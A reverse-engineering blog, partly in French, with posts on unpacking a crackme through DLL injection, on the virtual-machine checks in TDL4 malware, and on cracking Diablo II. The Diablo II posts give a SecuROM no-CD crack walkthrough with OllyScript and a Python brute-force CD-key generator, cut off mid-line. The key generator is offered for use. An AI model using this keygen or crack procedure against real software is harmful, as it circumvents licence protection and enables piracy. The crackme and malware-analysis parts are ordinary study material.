For not loosing time by analysing all the copy of portion of code, we will setup memory breakpoint on acces on code section and run our debugger.
We land here :
00157BFC AD LODS DWORD PTR DS:[ESI]
00157BFD 35 DEC0ADDE XOR EAX,DEADC0DE
00157C02 AB STOS DWORD PTR ES:[EDI]
00157C03 ^ E2 F7 LOOPD SHORT 00157BFC
00157C05 C3 RET
At this point ecx equal to 0x1E00, and raw size of code section equal to 0x7800, so it's actually deciphering all code section with 0xDEADCODE as XOR key.
Disable the memory breakpoint on access, and go to ret, then do the operation again (setup memory breakpoint acces), and we land here :
00157BEB 8DBD BF6F4000 LEA EDI,DWORD PTR SS:[EBP+406FBF]
00157BF1 8B85 A71F4000 MOV EAX,DWORD PTR SS:[EBP+401FA7]
00157BF7 8B0F MOV ECX,DWORD PTR DS:[EDI]
00157BF9 81C1 00004000 ADD ECX,400000 ; ASCII "MZP"
00157BFF C601 E8 MOV BYTE PTR DS:[ECX],0E8
00157C02 83C1 05 ADD ECX,5
00157C05 50 PUSH EAX
00157C06 2BC1 SUB EAX,ECX
00157C08 8941 FC MOV DWORD PTR DS:[ECX-4],EAX
00157C0B 58 POP EAX
00157C0C 81C7 88000000 ADD EDI,88
00157C12 837F 04 00 CMP DWORD PTR DS:[EDI+4],0
00157C16 ^ 75 DF JNZ SHORT 00157BF7
00157C18 C3 RET
Do you recognize this operation ?
Opcode 0xE8, add 5 ?, it is making a call.
The destination of the call (eax) go to the first virtual part I talked, we will call this "api address solving".
The packer is making call redirection for each API.
The next memory breakpoint on access will land us here :
004085D4 E8 9706D5FF CALL 00158C70
A call crafted juste before, let's follow it.
00158C70 9C PUSHFD
00158C71 60 PUSHAD
00158C72 E8 00000000 CALL 00158C77
00158C77 5D POP EBP
00158C78 81ED 1C1C4000 SUB EBP,401C1C
00158C7E 8BBD B01C4000 MOV EDI,DWORD PTR SS:[EBP+401CB0]
00158C84 8B7424 24 MOV ESI,DWORD PTR SS:[ESP+24]
00158C88 83EE 05 SUB ESI,5
00158C8B 81EE 00004000 SUB ESI,400000 ; ASCII "MZP"
00158C91 81EF 88000000 SUB EDI,88
00158C97 81C7 88000000 ADD EDI,88
00158C9D 3B37 CMP ESI,DWORD PTR DS:[EDI]
00158C9F ^ 75 F6 JNZ SHORT 00158C97
00158CA1 68 2680ACC8 PUSH C8AC8026
00158CA6 FFB5 B41C4000 PUSH DWORD PTR SS:[EBP+401CB4]
00158CAC E8 A4000000 CALL 00158D55
00158CB1 8D4F 48 LEA ECX,DWORD PTR DS:[EDI+48]
00158CB4 8BD1 MOV EDX,ECX
00158CB6 E8 3B000000 CALL 00158CF6
00158CBB 51 PUSH ECX
00158CBC FFD0 CALL EAX
00158CBE 93 XCHG EAX,EBX
00158CBF 68 EEEAC01F PUSH 1FC0EAEE
00158CC4 FFB5 B41C4000 PUSH DWORD PTR SS:[EBP+401CB4]
00158CCA E8 86000000 CALL 00158D55
00158CCF 8D4F 08 LEA ECX,DWORD PTR DS:[EDI+8]
00158CD2 E8 1F000000 CALL 00158CF6
00158CD7 51 PUSH ECX
00158CD8 53 PUSH EBX
00158CD9 FFD0 CALL EAX
00158CDB 8D4F 08 LEA ECX,DWORD PTR DS:[EDI+8]
00158CDE E8 13000000 CALL 00158CF6
00158CE3 8D4F 48 LEA ECX,DWORD PTR DS:[EDI+48]
00158CE6 E8 0B000000 CALL 00158CF6
00158CEB 894424 1C MOV DWORD PTR SS:[ESP+1C],EAX
00158CEF 61 POPAD
00158CF0 9D POPFD
00158CF1 83C4 04 ADD ESP,4
00158CF4 FFE0 JMP EAX
- At 0x00158C84, it will get from where the call occured.
- It will substract 5 and ImageBase to it.
- And look into the same table (for making call) if the offset is known.
- Once he found this offset into its table, it will resolve Address of LoadLibrary (0xC8AC8026 rol 7).
- Before calling 0x00158CF6, it will set into edx an address at offset 0x48 of the index into the table.
- 0x0x00158CF6 is just here for not (~) operation on each byte until it get a null byte.
- And then LoadLibrary with the string deciphered by not operation.
- 0x00158CCA it will call back again 0x00158D55 but with hash 1FC0EAEE for resolving address of "GetProcAddress".
- 0x00158CCF, decipher some stuff starting at offset 0x8.
- And finally GetProcAddress of it.
- All the string will be cypher again juste after as you can see.
Maybe with a schem it will be more clear, example of a typical call to an api :
So if you follow me, here is the structur for each api :
struct api
{
DWORD offset; /* +0x00 */
DWORD unknow; /* +0x04 */
char api_name[0x40]; /* +0x08 */
char dll_name[0x40]; /* +0x48 */
};
Here is one exemple :
Writing test program :
> cat test.c
int main(void)
{
char api_name[] = "\xB8\x9A\x8B\xB2\x90\x9B\x8A\x939A\xB7\x9E\x91\x9B\x93\x9A\xBE\xFF\xFF";
char dll_name[] = "\xB4\xBA\xAD\xB1\xBA\xB3\xCC\xCD\xD1\xBB\xB3\xB3\xFF\xFF";
int i;
for (i = 0; i < strlen(api_name); i++)
api_name[i] = ~api_name[i];
for (i = 0; i < strlen(api_name); i++)
dll_name[i] = ~dll_name[i];
printf("%s\n", api_name);
printf("%s\n", dll_name);
}
> ./test
GetModueHandleA
KERNEL32.DLL
This entry in the table was for solving call to GetModuleHandleA() from kernel32.dll
So for dumping our program, we will have to reconstruct all those redirections, we will write a dll and inject it into the process.
What the injected code will do ?
- Search call addr into code section, where the content of addr equal to a call to virtual memory (GlobalAlloc()) "api address solving".
- Hook the jmp eax, for gaining control, we will replace it by a jmp ebx.
- Store result (api address) into idata section.
- Replace each call virtual memory by jmp dword ptr[idata_section].
But have we got enough for replacing call
Opcode for jmp dword ptr [0x42424242] = FF 25 42 42 42 42, size : 6, we got enought place.
Code for the dll :
#include <stdio.h> #include <Windows.h> #define LDE_X86 0 #ifdef __cplusplus extern "C" #endif int __stdcall LDE(void* address , DWORD type); void fix_call(void) { IMAGE_DOS_HEADER *idh = NULL; IMAGE_NT_HEADERS *inh = NULL; IMAGE_SECTION_HEADER *ish = NULL; IMAGE_SECTION_HEADER *ish_import = NULL; DWORD imagebase; DWORD imageend; FILE *fp = NULL; DWORD i; BYTE *ptr; int val; DWORD addr_call; DWORD nb_api = 0; fp = fopen("debug_msg.txt", "w"); if (!fp) MessageBoxA(NULL, "fopen failed :(", "failed", 0); imagebase = (DWORD)GetModuleHandle(NULL); idh = (IMAGE_DOS_HEADER *)imagebase; inh = (IMAGE_NT_HEADERS *)((BYTE*)imagebase + idh->e_lfanew); ish = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof (IMAGE_NT_HEADERS)); imageend = imagebase + inh->OptionalHeader.SizeOfImage; fprintf(fp, "Image Base : %08X\nImage End : %08X\n", imagebase, imageend); ish = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof (IMAGE_NT_HEADERS)); ish_import = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * 4); fprintf(fp, "Ish Import : %08X\n", imagebase + ish_import->VirtualAddress); for (i = 0; i < ish->Misc.VirtualSize; i++) { ptr = (BYTE*)(imagebase + ish->VirtualAddress + i); /* Look for a call */ if (*(ptr) == 0xE8) { val = *(ptr + 4) << 0x18 | *(ptr + 3) << 0x10 | *(ptr + 2) << 0x8 | *(ptr + 1); val += imagebase + ish->VirtualAddress + i + 5; /* Is destination inside code section ? */ if (val > imagebase + ish->VirtualAddress && val < imagebase + ish->VirtualAddress + ish->Misc.VirtualSize) { ptr = (BYTE*)val; addr_call = val; /* Look for a call */ if (*(ptr) == 0xE8) { val = *(ptr + 4) << 0x18 | *(ptr + 3) << 0x10 | *(ptr + 2) << 0x8 | *(ptr + 1); val += (int)ptr + 5; /* Is destination is not into code section ? */ if (val < imagebase + ish->VirtualAddress || val > imagebase + ish->VirtualAddress + ish->Misc.VirtualSize) { fprintf(fp, "Call Redirect found at %08X to %08X, ", imagebase + ish->VirtualAddress + i, val); ptr = (BYTE*)val; /* Change JMP EAX to JMP EBX */ val = imagebase + ish->VirtualAddress + i; *(ptr + 0x85) = 0xE3; __asm { pushad mov ebx, end_api mov eax, val call eax end_api: add esp, 8 mov val, eax popad } fprintf(fp, "Addr Api : %08X\n", val); /* Put Api Addr into idata section */ ptr = (BYTE*)(imagebase + ish_import->VirtualAddress + 0x58 + nb_api * 8); memcpy(ptr, &val, 4); val = (imagebase + ish_import->VirtualAddress + 0x58 + nb_api * 8); /* Replace call by jmp dword ptr [idata_section] */ ptr = (BYTE*)addr_call; *ptr = 0xFF; *(ptr + 1) = 0x25; memcpy(ptr + 2, &val, 4); nb_api++; } } } } } fclose(fp); } BOOL (__stdcall *Resume_GetVersionExA)(LPOSVERSIONINFO lpVersionInfo) = NULL; BOOL __stdcall Hook_GetVersionExA(LPOSVERSIONINFO lpVersionInfo) { DWORD return_addr; __asm { mov eax, [ebp + 4] mov return_address, eax } if (return_addr == 0x00405ABF) { MessageBoxA(NULL, "ready ?", "Ready ?", 0); fix_call(); __asm jmp $ } return Resume_GetVersionExA(lpVersionInfo); } void setup_hook(char *module, char *name_export, void *Hook_func, void *trampo) { DWORD OldProtect; DWORD len; FARPROC Proc; Proc = GetProcAddress(GetModuleHandleA(module), name_export); if (!Proc) { MessageBoxA(NULL, name_export, module, 0); } len = 0; while (len < 5) len += LDE((BYTE*)Proc + len , LDE_X86); memcpy(trampo, Proc, len); *(BYTE *)((BYTE*)trampo + len) = 0xE9; *(DWORD *)((BYTE*)trampo + len + 1) = (BYTE*)Proc - (BYTE*)trampo - 5; VirtualProtect(Proc, len, PAGE_EXECUTE_READWRITE, &OldProtect); *(BYTE*)Proc = 0xE9; *(DWORD*)((char*)Proc + 1) = (BYTE*)Hook_func - (BYTE*)Proc - 5; VirtualProtect(Proc, len, OldProtect, &OldProtect); } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { DisableThreadLibraryCalls(GetModuleHandleA("inject_unpackme03.dll")); Resume_GetVersionExA = (BOOL(__stdcall *)(LPOSVERSIONINFO))VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memset(Resume_GetVersionExA, 0x90, 0x1000); setup_hook("kernel32.dll", "GetVersionExA", &Hook_GetVersionExA, Resume_GetVersionExA); return (1); }My code use the Length Disassembly Engine from BeatriX.
Now we code a little injector in masm for changing :
.386 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib .data PInfo PROCESS_INFORMATION <> SInfo STARTUPINFOA <> Kernel db "kernel32.dll", 0 LLib db "LoadLibraryA", 0 exe_name db "03_unpackme.exe", 0 dll_name db "inject_unpackme03.dll", 0 Addr_name dd 0 .code start: invoke GetStartupInfo, addr SInfo invoke CreateProcess, addr exe_name, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, addr SInfo, addr PInfo invoke VirtualAllocEx, PInfo.hProcess, 0, 100h, MEM_COMMIT, PAGE_READWRITE mov [Addr_name], eax invoke WriteProcessMemory, PInfo.hProcess, Addr_name, addr dll_name, LENGTHOF dll_name, NULL invoke GetModuleHandleA, addr Kernel invoke GetProcAddress, eax, addr LLib invoke CreateRemoteThread, PInfo.hProcess, NULL, 0, eax, [Addr_name], 0, NULL invoke WaitForSingleObject, eax, INFINITE invoke ResumeThread, PInfo.hThread exit: invoke ExitProcess, 0 end start
So as you can see, I used a little trick for waiting unpacking of all executables :
I setup an hook on GetVersionExA() and if the call occurs from one interesting address (near OEP), I call fix "fix_call" function and enter in infinite loop.
With this infinite loop we can attach Olly to our process and watch the result :
It's cool, but wait i forgot to talk about one thing, finding real OEP !
Restart OllyDBG, let the loop xor all the first stage, and setup breakpoint on :
0041196F E8 C2010000 CALL 03_unpac.00411B36
Step into and add breakpoint on :
00411B61 FF95 4B1D4000 CALL DWORD PTR SS:[EBP+401D4B]
You should land here (Addr can change due to allocated memory) :
00157C44 ^\FFA5 BB1F4000 JMP DWORD PTR SS:[EBP+401FBB]
Trace the code until you got something like that :
00153BC4 9D POPFD
00153BC5 61 POPAD
00153BC6 5A POP EDX
00153BC7 58 POP EAX
00153BC8 E8 D35F0000 CALL 00159BA0
If we step into, we will find something very interesting :
00159BA0 60 PUSHAD
00159BA1 E8 00000000 CALL 00159BA6
00159BA6 5D POP EBP
00159BA7 81ED E21B4000 SUB EBP,401BE2
00159BAD 8B7424 20 MOV ESI,DWORD PTR SS:[ESP+20]
00159BB1 83EE 05 SUB ESI,5
00159BB4 8B9D 111C4000 MOV EBX,DWORD PTR SS:[EBP+401C11]
00159BBA 83EB 28 SUB EBX,28
00159BBD 83C3 28 ADD EBX,28
00159BC0 3973 10 CMP DWORD PTR DS:[EBX+10],ESI
00159BC3 ^ 75 F8 JNZ SHORT 00159BBD
00159BC5 8B73 08 MOV ESI,DWORD PTR DS:[EBX+8]
00159BC8 89B5 0C1C4000 MOV DWORD PTR SS:[EBP+401C0C],ESI
00159BCE 61 POPAD
00159BCF 68 DEC0ADDE PUSH DEADC0DE
00159BD4 C3 RET
This not api resolution, but call resolution !This sub is quite simple, like api resolution it will check into a table the offset of the call and replace 0xDEADCODE by the addr of the (stolen ?) call.
I think (it's not sure) the packer has stolen some call from the virgin file and reconstruct them with a push addr ret.
Let's put a conditional log on ret address ( Expression = "[esp]" ).
We run the program and exit him and watch the log.
00159BD4 COND: 004085D4
00159BD4 COND: 00402128
00159BD4 COND: 004014C4
00159BD4 COND: 0040212C
00159BD4 COND: 00402D44
00159BD4 COND: 004085D4
00159BD4 COND: 00403D20
00159BD4 COND: 00403FA4
00159BD4 COND: 00403394
00159BD4 COND: 004033A4
00159BD4 COND: 00402F2C
00159BD4 COND: 004085B6
00159BD4 COND: 004085AA
00159BD4 COND: 00405BD4
00159BD4 COND: 00405C18
00159BD4 COND: 004066AC
00159BD4 COND: 004066B4
00159BD4 COND: 00406978
00159BD4 COND: 004085D4
7E390000 Module C:\WINDOWS\system32\USER32.DLL
00159BD4 COND: 00405B84
77EF0000 Module C:\WINDOWS\system32\GDI32.dll
Process terminated, exit code 0
If you remember at the begining of the article, the second breakpoint on access on code section land us to the first entry of your log, is it OEP ?I don't think so, it's a call to GetModuleHandleA(), ... strange, ... strange.
If you look closely, there is another thing strange, before the log of the loading module "USER32.dll", we can see a call to 0x004085D4, but this call is just a redirection to GetModuleHandleA, so what's happen between ?
We will restart our debugger and put a breakpoint on the ret of the call redirection function and wait until it go to the last 0x004085D4.
We trace the code, call "api address solving", we put a breakpoint on the JMP EAX, trace into GetModuleHandleA(), and execute till return.
We are back into virtual memory code, and trace it until get :
00154119 9D POPFD
0015411A 61 POPAD
0015411B 5A POP EDX
0015411C 58 POP EAX
0015411D FF56 18 CALL DWORD PTR DS:[ESI+18]
[ESI + 18] will be equal to 0x00401000, is it the real OEP ?
00401000 55 PUSH EBP
00401001 8BEC MOV EBP,ESP
00401003 6A 00 PUSH 0
00401005 68 20104000 PUSH 03_unpac.00401020
0040100A 6A 00 PUSH 0
0040100C 68 E7030000 PUSH 3E7
00401011 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
00401014 50 PUSH EAX
00401015 E8 56760000 CALL 03_unpac.00408670
0040101A 33C0 XOR EAX,EAX
0040101C 5D POP EBP
0040101D C2 1000 RET 10
CALL 03_unpac.00408670 will go to resolve api, and call DialogBoxParamA().But wait we store first argument into eax, so this function need an argument.
If we look msdn documentation first parameter of DialogBoxParamA() is a handle to the module whose executable file contains the dialog box template.
So the parameter of this function should be the result of GetModuleHandleA(NULL) (this will be first stolen fix).
A second problem is when we will return from DialogBoxParamA, and return from sub_00401000 we should ret to a fonction wich call ExitProcess().
Launch the injector, and attach olly to the process, and search reference to kernel32.ExitProcess, and we found this sub :
0040669C 55 PUSH EBP
0040669D 8BEC MOV EBP,ESP
0040669F 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]
004066A2 50 PUSH EAX
004066A3 E8 F01E0000 CALL 03_unpac.00408598 ; JMP to kernel32.ExitProcess
004066A8 5D POP EBP
004066A9 C3 RET
Now we just have to find some place for putting the stolen bytes, just after all the jmp dword ptr [idata_section] it's cool.
- Add a call to GetmoduleHandleA(NULL) for getting base adresse required by DialogBoxParamA
- Push Addr of ExitProcess()'s sub
- Push Real OEP
- Ret to it
Now we can dump our process with our favorite toolz dumper, and fix iat with ImportRec and putting the new OEP.
We test the dump file and it works :].
Conclusion
As deroko said, this unpackme is really not difficult, but I enjoyed solving it.
Some news, TDL4, IDA
Introduction
I received several mail asking me, if I was still active on my blog.
And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs.
So today I give you some news.
TDL4
I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use Google Translate !
So here is the link to the article.
Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version.
TDL4 (New version)
And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article.
Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis.
It will use WQL language to query Windows Management Instrumentation.
I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation :
And source code of idc script (I'm maybe doing it wrong, but it's my first) :
#include <idc.idc> static String(ea) { auto s,b,i; s = ""; i = 0; while(i < 2) { b = Byte(ea); if (b) { s = s + form("%c", b); ea = ea + 2; } i++; } return s; } static main() { auto ea; auto op; auto str; auto s; ea = SelStart(); str = ""; while (ea < SelEnd()) { if(GetMnem(ea) != "mov") break; if (GetOpType(ea, 1) == 1) break; s = String(ea + 7); str = str + s; ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT); } Message("%s\n", str); }
So with this script I was able to see all this interesting stuff :
Win32_BIOS
Win32_Process
Win32_DiskDrive
Win32_Processor
Win32_SCSIController
Name
Model
Manufacturer
Xen
QEMU
Bochs
Red Hat
Citrix
VMware
Virtual HDVBOX
CaptureClient.exe
SELECT * FROM %s WHERE %s LIKE "%%%s%%"
SELECT * FROM %s WHERE %s = "%s"
First it will gather all the information about your pc and send this to a C&C.And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc...
This is how they can detect that you are in virtualized or emulated environment.
I didn't know how WQL work, so I decided to develop someshit :
#include <windows.h> #include <objbase.h> #include <atlbase.h> #include <iostream> #include <wbemidl.h> #include <comutil.h> int main(void) { HRESULT hr; hr = CoInitializeEx( NULL, COINIT_MULTITHREADED ); if (hr < 0) { std::cerr << "[-] COM initialization failed" << std::endl; return (-1); } hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL ); if (hr < 0) { std::cerr << "[-] Security initialization failed" << std::endl; return (-1); } CComPtr<IWbemLocator> locator; hr = CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, reinterpret_cast< void** >( &locator )); if (hr < 0) { std::cerr << "[-] Instantiation of IWbemLocator failed" << std::endl; return (-1); } CComPtr<IWbemServices> service; hr = locator->ConnectServer(L"root\\cimv2", NULL, NULL, NULL, WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &service); CComPtr< IEnumWbemClassObject > enumerator; hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_Process", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator ); //hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator ); if (hr < 0) { std::cerr << "[-] ExecQuey() Failed" << std::endl; return (-1); } CComPtr< IWbemClassObject > processor = NULL; ULONG retcnt; hr = enumerator->Next(WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt); while ( SUCCEEDED(hr) && retcnt > 0) { if ( retcnt > 0 ) { _variant_t var_val; hr = processor->Get( L"Name", 0, &var_val, NULL, NULL ); if (hr >= 0) { _bstr_t str = var_val; std::cout << "[+] Name: " << str << std::endl; } else { std::cerr << "[-] IWbemClassObject::Get failed" << std::endl; //result = -1; } hr = enumerator->Next( WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt ); } else { std::cout << "[-] Enumeration empty" << std::endl; } } }
That's all for today :].
Diablo II part 2
Introduction
Après mon post sur la fabrication de serial pour diablo II, je ne pouvais pas en rester là.
Il fallait que je joue avec Securom afin de me fabriquer un no-cd avec mes petits doigts.
Bab00n a écrit un excellent article sur la création d'un no-cd pour Diablo II Lord Of Destruction (l'extension du jeu).
Securom v4
Ici pour diablo II original (Version 1.03), nous avons affaire à du securom v4, il faut savoir que nous sommes en présence de 2 éxécutables à la base.
- Diablo II.exe : Qui fait un CreateProcess('Game.exe' ... ).
- Game.exe : Notre éxécutable protégé par securom.
> hexdump -C Game.exe | grep -i "AddD" 0003b940 00 00 00 00 41 64 64 44 00 00 00 00 35 39 4a 50 |....AddD....59JP| 0003b960 00 00 00 00 46 57 53 00 41 64 64 44 00 00 00 00 |....FWS.AddD....| 0003b970 41 64 64 44 00 00 00 00 5c 00 00 00 1a 27 1a 12 |AddD....\....'..| 00048000 41 64 64 44 03 00 00 00 34 2e 30 37 2e 30 30 00 |AddD....4.07.00.|
Ici nous avons affaire à du securom version 4.07.00, protection ID aurait pu très bien faire l'affaire :
Find OEP
La première étape est de trouver l'oep, 2 solutions s'offrent à nous :
- Bp sur WriteProcessMemory, compter le nombre de break avant que le jeu se lance, une fois ce nombre calculé, s'arreter sur le dernier appel, retourner dans le user code, et chercher un jmp EAX.
- Bp sur GetDriveTypeA, retourner en code user, et scroller jusqu'à trouver le jmp EAX.
004169A6 |> |58 /POP EAX
004169A7 |. |FFE0 |JMP EAX
Nous arrivons enfin sur l'enty point :
00402120 /. 55 PUSH EBP
Reconstruction des calls redirigés
Securom met en place un système pour rédiriger les calls vers les différentes API dont il a besoin.
C'est en recherchant des renseignements sur securom, que j'ai commencé à me demander si j'allais etre en présence de call [Securom] / call Securom.
Securom étant la section dans notre cas "cms_t".
Donc je décide d'écrire un script Olly :
//log "Loggin all call [Securom]"
//next:
//findop eip, #FF15#
//mov eip, $RESULT
//log eip
//add eip, 6
//cmp $RESULT, 0
//jne next
//pause
var dest
log "Loggin all call Securom"
next:
findop eip, #E8????????#
mov eip, $RESULT
mov dest, [eip + 1]
add dest, eip
cmp dest, 40F000
jbe not_log
log "-- Maybe new ?"
log dest
log eip
not_log:
add eip, 5
cmp $RESULT, 0
jne next
pause
La première parti commenté du script sert à loguer les call [Securom], alors que l'autre sert à loguer les call Securom.
Résultat nous sommes en présence de seulement de call [Securom], dont voici un exemple :
00402146 FF15 F0024200 CALL DWORD PTR DS:[4202F0] ; Game.0040FBD0
La routine en 0x0040FBD0, va calculer l'api à apeler puis mettre le résultat dans eax, et ansi jmp eax, afin de l'apeler.
N'étant pas sur de moi, j'ai tout fait à la mano ('Non je ne suis pas fou, je voulais pas faire de la race c'est tout').
Donc j'ai écrit un script Olly pour loguer tout ca et remplacer correctement les call [Securom] par call [API].
Voici un bout de la routine intéressant :
0041035E 8B06 MOV EAX,DWORD PTR DS:[ESI]
00410360 5F POP EDI
00410361 5E POP ESI
00410362 5B POP EBX
00410363 8BE5 MOV ESP,EBP
00410365 5D POP EBP
00410366 FFE0 JMP EAX
Le but va etre de bp en 0x0041035E, loguer esi, et loguer d'ou nous avons été apelé.
var rez
bp 0041035E
cnt:
eob Break
eoe handler
run
handler:
ret
Break:
log esi
mov rez, [esp - 4]
sub rez, 6
log rez
log [esi]
jmp cnt
Arrivé à l'entry point, j'exec le script et la failed :
Pourtant le script partait bien :
En fait bêtement dans cette routine, ils font appel à timeGetTime :
00410264 FF15 F8164400 CALL DWORD PTR DS:[4416F8] ; WINMM.timeGetTime
Je m'emmerde pas, je nop un saut conditionnel en 0x004100F0.
Et la le jeu se lance, nous avons été en mesure de tout loguer.
Il suffit de remplacer à la mano les call [Securom], par call [API], ou alors il suffit juste de modifier le script :].
Vous n'aurez plus qu'a dump le processus, un coup d'importRec et le tour est joué !
Hmmm par contre il reste un CD-Check dans storm.dll (0x00357CA4) ;)
Have Fun :]
On se revoit pour une version 5 de securom ou du safedisc.
I need the key
Introduction
Tout droit sorti du grenier je ressors mon boitier de diablo II, oui oui ce jeu magique cube horadrim tout ca tout ca :]
Mais ce post n'est pas destiné à faire l'éloge de ce jeu mais plutôt arriver à y jouer.
Serial
Malheuresement au moment de l'installation on nous demande un Nom et un Serial, comme par hasard j'ai perdu le manuel avec
ma clef CD...
"Comment ca je peux pas joueur ?!"
La routine de vérification ne tient pas compte du nom que vous avez entré mais uniquement du serial, j'ai du
coup coder un générateur de clef (bruteforce ?).
Oui je génére toutes les clefs possibles et inimaginables
et en ayant reverse toute leur routine de vérificaion, je regarde si elle est valide ou non.
Afin que ca prenne pas la vie, il faut définir la variable "dic" avec un minimum de caractères qui sont présents au début du code (commentaire 0x43f750...).
Trève de bavardage voici le code :
#! /usr/local/bin/python2.6 import sys import binascii ################################### # 0x43f750 ..... # # #0 #1 #2 #3 #4 #5 # FF FF FF FF 00 FF 01 FF # # #6 #7 #8 #9 #: #; #< #= # 02 03 04 05 FF FF FF FF # # #> #? #@ #A #B #C #D #E # FF FF FF FF 06 07 08 09 # # #F #G #H #I #J #K #L #M # 0A 0B 0C FF 0D 0E FF 0F # # #N #O #P #Q #R #S #T #U # 10 FF 11 FF 12 FF 13 FF # # #V #W #X #Y #Z #[ #\ #] # 14 15 16 FF 17 FF FF FF # # #^ #_ #` #a #b #c #d #e # FF FF FF FF 06 07 08 09 # # 0A 0B 0C FF 0D 0E FF 0F # # 10 FF 11 FF 12 FF 13 FF # # 14 15 16 FF 17 FF FF FF # # Caracter can only be '246789BCDEFGHJKMNPRTVWXZ' ################################### s_ebx = 1 spe = 0 def combine(alphabet, nb, base = ''): for c in alphabet: if nb == 1: yield base + c else: for c1 in combine(alphabet, nb - 1, base + c): yield c1 rep = 4 #dic = '246789BCDEFGHJKMNPRTVWXZ' dic = '7NJDTF' tab_43f750 = [0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0x01, 0xFF, 0x02, 0x03, 0x04, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0xFF, 0x0D, 0x0E, 0xFF, 0x0F, 0x10, 0xFF, 0x11, 0xFF, 0x12, 0xFF, 0x13, 0xFF, 0x14, 0x15, 0x16, 0xFF, 0x17, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0xFF, 0x0D, 0x0E, 0xFF, 0x0F, 0x10, 0xFF, 0x11, 0xFF, 0x12, 0xFF, 0x13, 0xFF, 0x14, 0x15, 0x16, 0xFF, 0x17, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF] def routine_414770(res): if res < 0x0a: res += 0x30 else: res += 0x37 return res def routine_41457e(a, b): global s_ebx global spe A = tab_43f750[ord(a)] B = tab_43f750[ord(b)] if A == 0xff: A = 0xffffffff if B == 0xff: B = 0xffffffff RES = A + A * 2 & 0xffffffff RES = RES * 8 + B & 0xffffffff if RES > 0x100: spe = spe + s_ebx RES = RES - 0x100 a = RES a = a & 0x0f RES = RES >> 4 RES = RES & 0xf RES = routine_414770(RES) a = routine_414770(a) s_ebx = s_ebx << 1 return [RES, a] def routine_3(combi): res = routine_41457e(combi[0], combi[1]) res2 = routine_41457e(combi[2], combi[3]) return res + res2 def routine(one, two, three, four): global s_ebx global spe s_ebx = 1 spe = 0 one = routine_3(one) two = routine_3(two) three = routine_3(three) four = routine_3(four) if routine_add(one, two, three, four) == True and test(one, two, three, four) == True: return True return False def test(one, two, three, four): edi = 0x15 eax = 15 ecx = 0x16 serial = one + two + three + four while eax >= 0: dl = serial[eax] ecx = ecx & 0xf bl = serial[ecx] serial[eax] = bl serial[ecx] = dl eax = eax - 1 ecx = ecx - 1 eax = 15 esp_38 = 0x13AC9741 while eax >= 0: ecx = serial[eax] if ecx <= 0x37: ecx = esp_38 dl = esp_38 & 0xff dl = dl & 0x7 serial[eax] = dl ^ serial[eax] esp_38 = esp_38 >> 3 if ecx <= 0x41: cl = eax cl = cl & 0x1 serial[eax] = cl ^ ecx eax = eax - 1 if serial[0] == 0x30 and (serial[1] == 0x37 or serial[1] == 0x36): return True def routine_41458D(a): if a >= 0x41 and a <= 0x5a: a = a + 0x20 if a < 0x61: a = a - 0x30 else: a = a - 0x57 return a def routine_add(one, two, three, four): global spe edi = 0x3 for i in one: edx = edi + edi eax = routine_41458D(i) ^ edx edi = edi + eax for i in two: edx = edi + edi eax = routine_41458D(i) ^ edx edi = edi + eax for i in three: edx = edi + edi eax = routine_41458D(i) ^ edx edi = edi + eax for i in four: edx = edi + edi eax = routine_41458D(i) ^ edx edi = edi + eax edi = edi & 0xff if edi == spe: return True return False if __name__ == "__main__": for one in combine(dic, rep): for two in combine(dic, rep): for three in combine(dic, rep): for four in combine(dic, rep): if routine(one, two, three, four) == True: print "[+] Key found try : " + one + "-" + two + 